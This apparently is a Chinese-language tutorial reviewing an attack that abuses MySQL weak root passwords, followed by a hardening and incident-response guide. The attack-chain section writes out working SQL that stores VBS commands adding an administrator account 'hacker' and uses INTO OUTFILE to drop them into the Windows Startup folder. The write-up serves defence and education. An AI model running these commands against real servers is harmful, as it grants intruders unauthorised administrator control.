萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> 資料庫綜合

MySQL root 弱密碼被利用寫入啟動腳本獲取系統權限攻擊複盤與防禦

攻擊鏈重現(僅供防禦研究)

  1. 暴力破解/弱口令登入:mysql -u root -h target_ip -p(空密碼或簡單密碼)。
  2. 建立惡意表:
    USE test;
    CREATE TABLE evil (cmd TEXT);
    INSERT INTO evil VALUES ('Set wshShell=CreateObject("WScript.Shell")');
    INSERT INTO evil VALUES ('a=wshShell.Run("cmd.exe /c net user hacker P@ssw0rd /add",0)');
    INSERT INTO evil VALUES ('b=wshShell.Run("cmd.exe /c net localgroup Administrators hacker /add",0)');
  3. 導出為啟動腳本:
    SELECT * FROM evil 
    INTO OUTFILE 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\evil.vbs'
    LINES TERMINATED BY '\r\n';
  4. 觸發執行:重啟伺服器或等待管理員登入,VBS 在啟動資料夾自動執行,建立管理員帳號。

核心利用點

  • SELECT ... INTO OUTFILE 需 FILE 權限(root 預設擁有)。
  • Windows 啟動資料夾寫入無需管理員權限(All Users 啟動資料夾預設 Users 可寫)。
  • VBS 腳本隱藏視窗、無錯誤提示,隱蔽性強。

完整防禦體系

層面措施實施指令/配置
帳號強制 root 複雜密碼、禁用遠程 rootALTER USER 'root'@'%' IDENTIFIED BY '...'; DELETE FROM mysql.user WHERE User='root' AND Host='%';
網路防火牆僅開放應用伺服器 IPfirewall-cmd --add-rich-rule='rule family=ipv4 source address=10.0.1.0/24 port port=3306 protocol=tcp accept'
權限回收非必要 FILE、SHUTDOWN、PROCESS、SUPER 權限REVOKE FILE, SHUTDOWN, PROCESS, SUPER ON *.* FROM 'app'@'%';
配置secure_file_priv 限制導出目錄[mysqld] secure_file_priv=/var/lib/mysql-files/(空值禁用)
配置local_infile=OFF 禁用客戶端讀本地檔[mysqld] local_infile=0
監控審計日誌記錄 INTO OUTFILE、GRANT、建表安裝 audit_log 外掛,設定 audit_log_policy=ALL
主機啟動資料夾寫入權限收斂ICACLS "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /inheritance:r /grant:r "Administrators:(OI)(CI)F" "SYSTEM:(OI)(CI)F"
修補定期更新 MySQL、OS、OpenSSL訂閱安全公告、自動化修補流程

事件響應檢查清單

  1. 檢查 mysql.user 是否有異常帳號/Host。
  2. 搜尋可疑 .vbs、.bat、.ps1 於啟動資料夾、排程任務、註冊表 Run 鍵。
  3. 查看 Windows 安全事件日誌(Event ID 4624/4625/4672/4688)追蹤登入與進程建立。
  4. 檢查 MySQL 一般日誌/審計日誌中的 INTO OUTFILE、CREATE TABLE、GRANT 異常操作。
  5. 立即輪換所有資料庫帳號密碼,吊銷可疑憑證。

資料庫安全不僅是設定密碼,需構建「網路-配置-權限-審計-主機」纵深防禦體系。

copyright © 萬盛學電腦網 all rights reserved